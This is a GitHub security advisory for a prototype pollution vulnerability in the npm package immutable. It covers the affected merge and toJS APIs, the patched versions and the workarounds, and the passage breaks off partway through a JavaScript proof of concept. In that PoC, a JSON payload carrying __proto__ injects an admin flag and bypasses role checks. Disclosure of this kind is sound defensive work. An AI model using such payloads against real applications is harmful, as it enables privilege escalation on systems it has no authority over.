GitHub Security Advisory: GHSA-wf6x-7x77-mvgw
Package: immutable (NPM)
Severity: HIGH (CVSS 9.8)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: >= 5.0.0, < 5.1.5
Patched in: 5.1.5

Summary: Immutable is vulnerable to Prototype Pollution

Details:
## Impact
_What kind of vulnerability is it? Who is impacted?_

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

## Affected APIs

| API                                     | Notes                                                       |
| --------------------------------------- | ----------------------------------------------------------- |
| `mergeDeep(target, source)`              | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |
| `mergeDeepWith(merger, target, source)`  | Same code path                                              |
| `merge(target, source)`                    | Shallow variant, same assignment logic                      |
| `Map.toJS()`                              | `object[k] = v` in `toObject()` with no `__proto__` guard   |
| `Map.toObject()`                            | Same `toObject()` implementation                            |
| `Map.mergeDeep(source)`                  | When source is converted to plain object                    |



## Patches
_Has the problem been patched? What versions should users upgrade to?_

| major version | patched version |
| --- | --- |
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |

## Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)
- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)
- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)
- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)
- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)

## Proof of Concept

### PoC 1 — mergeDeep privilege escalation

```javascript
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdmi